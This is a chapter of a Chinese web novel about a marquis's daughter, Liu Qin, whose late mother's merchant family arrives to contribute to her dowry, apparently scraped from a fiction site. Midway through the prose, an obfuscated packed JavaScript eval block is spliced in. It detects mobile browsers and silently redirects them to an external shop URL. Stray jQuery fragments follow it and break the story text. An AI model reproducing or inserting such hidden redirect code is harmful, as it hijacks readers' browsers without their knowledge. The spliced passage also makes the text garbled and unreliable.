文趣网 > 其他小说 > 自愿守寡后夫君复活了 > 11. 苛待
    “回姑娘的话,老奴如今正在大厨房里做些粗活……”

    柳衾拧眉,右手摩挲着白瓷勺子。

    她院中原先伺候的婆子早就因为插科打诨,奴大欺主被她打发了。

    而她本就不是什么得宠的主儿,自然没有人会为她出头,再安排一个婆子来。

    得知林婆子如今被赶去大厨房做粗活,她起的第一个念头,就是将林婆子要到自己院子里做事。

    可……

    柳衾左手捏着那一叠厚厚的纸笺,心绪杂乱,但手上动作没停,用了小半碗鸡丝粥又吃了些凉菜,好半盏茶的功夫,她才抬眸看向林婆子:“林妈妈,这些日子委屈你了。”

    “老奴不委屈,只是瞧着那刘氏这般对待姑娘,老奴却只能在大厨房做些打杂的粗活,不能帮姑娘做什么,老奴愧对夫人在天之灵……”

    林婆子说着,抬起粗糙的手抹了把脸,将不自觉流出的泪擦抹干净。

    柳衾放下白瓷勺子,认认真真地看着林婆子,思忖片刻才道:

    “林妈妈,如今我与江家三爷受陛下赐婚,府上怕是没人再敢苛待我,只是有件事,我思来想去只有你能帮我……”

    ……

    春雨淅淅沥沥地下着,四周残留的薄雪渐渐化去。

    徐家在汴京有购置府邸与下人,故而这次回京的徐家大房只是在自家府内拾掇拾掇,便要再套了马车赶去宁北侯府。

    他们此番进京,一是为了自家儿女的婚事,二也是为了给小妹留下的唯一的女儿撑腰。

    徐家虽是商户,但祖上也是出过几个状元的,便是如今一家子人去了湖州安顿,也有设立族学供家中子弟读书。

    马车在宁北侯府的大门外停下,柳家的门房从窗户向外看,瞧着眼生的很,便仔细打量着。

    另一个年纪大些的门房是宁北侯府上的老人,瞧见徐简扶着夫人文氏下马车,后头跟着的那辆马车也下来了两位公子,认出是徐家人,赶忙吩咐小门房恭敬些,自己则匆匆进去通传。

    小门房一头雾水的时候,徐家一众人已经快步走到大门前叩门。

    第三声响后,侯府大门才被小门房缓缓推开一个小缝隙:“这位爷,您是哪家府上的?”

    虽是眼生这一家人,小门房还是斟酌着措辞,生怕自己说错一句话。

    毕竟他方才才被嘱咐过要恭敬些。

    叩门的男子是柳衾的大表哥徐白舟,见门开了个小缝隙,当即就将拜帖递上,嘴角自始至终都扬着弧度:“劳烦小哥通禀一声。”

    小门房又将门开大了些,接过徐白舟递来的拜帖,看清楚上头所写后,犹豫了片刻还是将人请进了偏厅。

    在自己书房里的宁北侯听着下人的通报,满脸的不耐烦——徐氏都已经死了那么久了,这徐家人还想着来他宁北侯府攀关系,真是恬不知耻。

    同在书房中的柳临川与宁北侯的反应不同,听说徐家来人,当即就看向门房:“既是徐家的舅父舅母来了,还不快去安排。”

    罢了,他又看向一旁对着一副画卷拧眉的宁北侯:“父亲,可要知会母亲与大妹妹一声?”

    宁北侯并未应声,提着沾了墨汁的笔顿在半空中,眼神晦暗不明。

    这人都来了,若是将其赶出去,一来以徐家人的脾气,怕是会做出有损侯府颜面的事情,二来怕是柳衾知晓了,按她的性子定是要闹上一场的,届时伤了父女之间的羁绊……

    想至此,宁北侯摆摆手,示意身边的下人去通报,自己则搁下笔,与柳临川同去了前院偏厅。

    不过多时,前院偏厅。

    “爹,姑母去世后,咱们就没见过几次表妹,每每咱们都是与表妹互通信笺往来,也不知道如今她长成什么模样,若是叫她那继母苛待了……”

    说话的是柳衾的二表哥徐白川,只不过他后半段话还没吐口,后脑勺就被徐简用力拍了一下。

    “说什么呢!”徐简瞪了自己的小儿子一眼,一副恨铁不成钢地朝厅外努着嘴,示意徐白川外头还有宁北侯府的下人。

    “你祖父就是这么教你的?”文氏坐在一旁,也附声呵斥了徐白川几句,紧接着圆话道:“你衾表妹到底是你姑母给宁北侯生的嫡长女,这要是被苛待了,你姑父面子上也无光。”

    恰好,文氏这一番话让才到门口的宁北侯与柳临川听了个正着。

    柳临川自打七岁时与当时还小的柳衾玩捉迷藏,躲在生他的姨娘房里的衣柜中,亲眼看见自己的姨娘被刘氏灌了一碗汤药,紧接着身下就见了红,一尸两命,从此很少再回宁北侯府。

    这一次回家也不过是因着过年,再过两日,他就该启程回书院了。

    而至于大妹妹的婚事,他左思右想,家中成丁的只有自己,届时哪怕刘氏捣乱,他也定是要回来送大妹妹出嫁的。

    而一旁的宁北侯脸色就不大好看了。

    若非是当年他急需用钱,恰好那徐氏又入了他的眼,怎么会叫这混着铜臭味的一家子商户攀附上来。

    如今徐氏没了,这家人还想着给人上眼药。

    “临川见过大舅舅,大舅母。”柳临川没管宁北侯的反应,率先迈过门槛,进了偏厅,冲徐家大房的长辈规矩地行了一礼,又与表兄弟点头问好,“大表哥,二表弟。”

    偏厅里头,徐白川意识到自己的话真让宁北侯府的人听了去,默默地低下头,尴尬地摸了摸鼻子。

    徐家人对柳临川的印象还是很好的,当初徐氏还在世时,柳临川便养在徐氏膝下。

    当时的宁北侯府算得上是京中少有的妻妾和睦。

    而他们徐家逢年过节给宁北侯送礼时,也从不会忘记两孩子的,可以说是一视同仁。

    如今徐氏走了,柳临川对他们恭敬如初,这点不由得叫徐简与文氏红了眼框。

    “哒、哒——”

    还未及徐家人有其他反应,偏厅外就又起了脚步声。

    走在最前头的是在柳老夫人院子里伺候的碧玺。

    碧玺

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537133|203599||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    规规矩矩地给座上主子行了万福礼,紧接着便开口:“徐夫人,老夫人那头命奴婢给徐夫人领路。”

    文氏看了眼夫君,又瞧瞧自己的两个儿子,方冲碧玺颔首,脸上笑容得体:“有劳姑娘。”

    文氏走后,坐在最上首的宁北侯睨了眼下头的父子仨,颇有些不悦,便是称呼上也疏离了开。

    “徐员外,若本侯没记错,你们徐家当是几年前就回了湖州老家,怎得如今又进了京还来了我这寒舍。”

    一瞧见宁北侯蛰伏模样,徐简便想起自家小妹临终前的模样,脸色也不甚好。

    但到底是身份悬殊,他还是压下了冲天的怒意:“侯爷说笑了,虽如今侯爷娶了那刘氏做填房,但府上嫡出的大姑娘到底是我小妹的亲生骨肉。”

    “哪怕侯爷如今不认我们徐家这桩亲,我们徐家也还念着大姑娘与大公子的,每年不都还是给宁北侯府送了不少好东西。”

    “如今大姑娘不是得了陛下的赐婚,指给了江三老爷,而我小妹又过世得早,怕孩子的嫁妆不够,给她添些嫁妆来。”

    徐白川在他爹这一通话说下来后,悄悄翻了个白眼,小声嘟囔着:“谁知道这一家子豺狼虎豹的,有没有苛待我表妹,刻意不给她备上体面的嫁妆……”

    徐白舟狠狠瞪了一眼自己这个不成器的弟弟,示意他闭嘴。

    宁北侯自也是听见了这话,脸色更是黑如墨云。

    如今在旁人府中,徐简也是没法子教训徐白川,见宁北侯没有发怒,松了口气。

    他虽瞧不上宁北侯这过河拆桥的本事,但到底人家是官,又有爵位在身,徐家不好硬生生就与人家对上。

    今日一切都只是为了他那外甥女的婚事。

    柳临川见偏厅之内气氛着实尴尬,便向宁北侯提出带徐家二兄弟去前院走走,也不打扰两位长辈说话。

    而另外一头,鹤寿居内。

    坐在上首的柳老夫人一身螺青色绣着牡丹暗纹的衣裙,黑着个脸,像是方才与人争执过,而在她下首处坐着的刘氏的脸色也不大好看。

    文氏到了鹤寿居后,规矩礼仪不说好,起码也是挑不出错处来的,无论柳老夫人与刘氏说什么,她都端着笑,一副不恼的模样。

    “侯夫人,虽说大姑娘是宁北侯府的姑娘,但她身上到底也还流淌着我们徐家一半的血脉。”

    “这孩子既叫我一身舅母,那必定是贵府还认我们徐家这一门亲的,若不然以这孩子乖巧的性子,定然是不会驳了长辈的意思,您说呢?”

    听着自己方才的话被文氏挡了回来,刘氏想将茶盏放下的动作一顿,又拿起茶盏拂去茶沫子,小抿一口,笑着声回了文氏一句:

    “这是自然,只是衾丫头是我们侯府的嫡长女,虽说生母过世,但这不是还有我这个继母疼惜,再不过也还有祖母护着,这嫁妆问题,想来是不必麻烦徐夫人了。”

    柳衾站在刘氏身后,看着眼前这一幕,垂下眼帘不作声,心底打定了主意。